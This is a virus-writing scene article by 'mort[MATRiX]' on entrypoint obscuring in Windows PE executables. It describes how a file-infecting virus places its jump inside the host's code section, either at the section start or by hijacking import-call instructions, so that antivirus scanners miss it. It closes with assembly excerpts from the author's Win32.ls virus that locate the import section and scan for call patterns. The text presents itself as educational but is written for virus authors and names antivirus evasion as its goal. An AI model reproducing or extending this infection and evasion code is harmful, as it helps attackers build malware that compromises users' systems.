---( EPO - entrypoint obscuring by mort[MATRiX] )--------------------------- This article is for educational purpose only and I AM NOT responsibille for anything nor my english, nor myself,...anyway, enjoy it... .xxx ---------------------------------------------------------------------------- EPO is next of many ways to fuck AVs (at least a litle). The point is, that the entrypoint in PE header will not be overwritten by jump to virus body. This jump must be set somewhere in the 'CODE' section, in the jam of instructions after entrypoint. Problem is, we cant write our jump anywhere we can, coz we could fit in the 'middle' of instruction. Well, the 'we could' expression is not good, better is 'we will probably allways' fit in some instruction. So, we have to find address which wont destroy instruction. There's several ways of EPO now. I'll describe some. .EPO via first bytes in CODE sec ---------------------------------------------------------------------------- The first one on my mind is overwrite some bytes right on the start of CODE section. By this way we will obscure of 'bad overwriteing' of some instruction, coz the first instruction to execute, after host is loaded, is our one. before infection after infection .------------. .------------. | MZ | | MZ | | .... | | .... | | | | | | PE | | PE | | .... | | .... | | entry-point ---. | entry-point ---. | .... | | | .... | | ------------ | ------------ | | .... | | | .... | | |-CODE sec.-<----' .-<--CODE sec.-<----' jmp to virus | normal | | | | | host | | | | |instructions| | | | | EOF | | | EOF | '------------' | '------------' '---> virus | | .... | | EOV | '------------' There neednt be right 'jmp' instruction on the CODE sec. begining, of coz there can be everything u want before it - trash instructions, encryption code, maybe the virus itself. Before return to the host, we recover the saved bytes of host CODE section and jump back. This method of EPO is used in my aiD virus,...go and check it,... .EPO via import calls ---------------------------------------------------------------------------- Next way of the 'right overwriting' instructions is with the help of API imported calls. Each windows program use API calls. At least the ExitProcess one. Compilers use standard piece of code to call API funcs. During my work I saw two ways...i know, im lamer(anyway, i read somewhere there're only two...the MASM and the TASM one:)) ----===>>--.--<<===---- the TASM one: | the MASM one: | push _par1 | push _par1 push _par2 | push _par2 ... | ... push _parX | push _parX | call @uncleFuckerAPI | call [_Iaddress] | @uncleFuckerAPI: | jmp [_Iaddress] | | ---------'-------- _Iaddress dd uncleFuckerAPIaddress --------- '--------------------------------. Well,after pushing parameters, there's call itself.The first call : | syntax is: | call @uncleFuckerAPI - thats normal call. Bytes syntax is: | | db 0e8h | dd (relative between call instruction and calling place) | | @uncleFuckerAPI: | jmp [_Iaddress] - it's call that will jump to address which is stored | in _Iaddress variable. Bytes syntax is: | | db 0ffh,025h | dd (offset of varriable) | | .-------------------------------------------------------------------------' | The second syntax is done by this way: | | Call to API is done by call to address which is stored in _Iaddress var. | | call [_Iaddress] - Bytes syntax is: | | db 0ff,015 | dd (offset of varriable) '-------------------------------------------<<===---- If we look on both syntax we will see that trought the different syntax they do the same think. It's: pushing parameters saved address of next instruction to stack jmp to API trought the variable _Iaddress stored in IMPORT section If we found such call, we know right address of it -> we can place our jump to virus without fearing of bad ovewriting some instruction. before infection after infection .------------. .------------. | MZ | | MZ | | .... | | .... | | | | | | PE | | PE | | .... | | .... | | entry-point ---. | entry-point ---. | .... | | | .... | | ------------ | ------------ | | .... | | | .... | | |-CODE sec.-<----' |-CODE sec.-<----' jmp to virus | .... | | .... | | call ufAPI | | call ufAPI | | .... | .-<- jmp virus | | EOF | | | .... | '------------' | | EOF | '--->-----------| | virus | | .... | | EOV | '------------' In the infection we can search for '0e8' bytes and check for call dest. if there is '0ff','25' bytes. Thats enought for the first compilation way. For the second one we have to know something about _Iaddress variable. It is place in IMPORT section which will be after system if loading the file (eg. our host) filled with right address of API. Before this overwriting this variable contains relative offset to name of API. Knowing this we will search for '0ff', '15' bytes and then check dword behind. If this dword will fit somewhere to IMPORT section, we won. I used this EPO method in Win32.ls virus. This virii is continue of this article,...go ahead and check the code... .EPO via metamorphism ---------------------------------------------------------------------------- Maybe u heard bout metamorphism, anyway if not, thats technik which virii uses to change its whole body. It's done by disasmebly whole virii code to instructions and replace them for more instrucions doing the same thing and of coz some instructions to one, or different call setting and many other similar things, so replace virii code for differrent one, but doing the same thing. Im not familiar with this tex, but i think i reach the point. Anyway if u wanna write something like that u need some disassemble routines and such routines could be nice used for EPO. .xxx ---------------------------------------------------------------------------- No other way now in my mind (i said im lamer,...). Anyway i think there'll be 'few' more ways of EPO. U can see one way of EPO(checking IMPORT calls) in my win32.ls. Please fell free to write me any comments. mort[MATRiX] . |\ | |.--. -|-. | || |.--|| | | \ m o r|t . .-'-----'\._''--'-. '--[MATRiX]-------' [mort@matrixvx.org] \\\\\\\\\\\\\\\\\\ -----------------------===>>- some ls code -<<===--------------------------- get IMPORT section address ---------------------------------------------------------------------------- ;esi - PE header,edi - MZ ... mov edx,[esi + 080h] ;get import add mov eax,[esi + 074h] shl eax,3 xchg eax,ebx movzx eax,word ptr [esi + 6] ;number of section xchg eax,ecx mov eax,edi add eax,ebx add eax,078h ;eax - first section header @nextSection: cmp [eax + 0ch],edx ;check if sec's RVA = IMPORT jz @gotIT ;we got IMPORT section add eax,028h dec ecx jnz @nextSection ;go check next section @gotIT: mov eax,[eax + 014] ;get physical offset of IMPORT sec add eax,edi ;of course - relative,... ... scanning CODE section for IMPORT calls - TASM way ---------------------------------------------------------------------------- edx - CODE section table address ebx - address of file [esp + 014h] - IMPORT section RVA mov edi,[edx + 014h] add edi,ebx ;CODE location mov ecx,[edx + 010h] push _callNum ;how many calls will be replaced @nextSearchE8: mov al,0e8h repne scasb ;search for call xxxx or ecx,ecx jz @searchDone mov esi,edi lodsd ;search call relative add esi,eax pusha ;save register state call @SEHprotect mov esp,[esp + 8] pop dword ptr fs:[0] pop eax ;clear stack popa ;load register state jmp @nextSearchE8 @SEHprotect: push dword ptr fs:[0] mov dword ptr fs:[0],esp lodsw pop edx ;clear stack pop edx cmp ax,025ffh ;check if import call popa ;load actual pointer jnz @nextSearchE8 lodsw ;only for adding edi lodsd ; now we must check the value in eax if points somewhere in IMPORT ; place ; no -> find new one ; yes -> in this point we have found IMPORT call ; edi points right behind the call dec dword ptr [esp] ;dec number of calls we want to replace @notInIMPORT: jnz @nextSearchE8 @searchDone: scanning CODE section for IMPORT calls - MASM way ---------------------------------------------------------------------------- well, this code is nearly the same like the one before, so i wont waste the space,........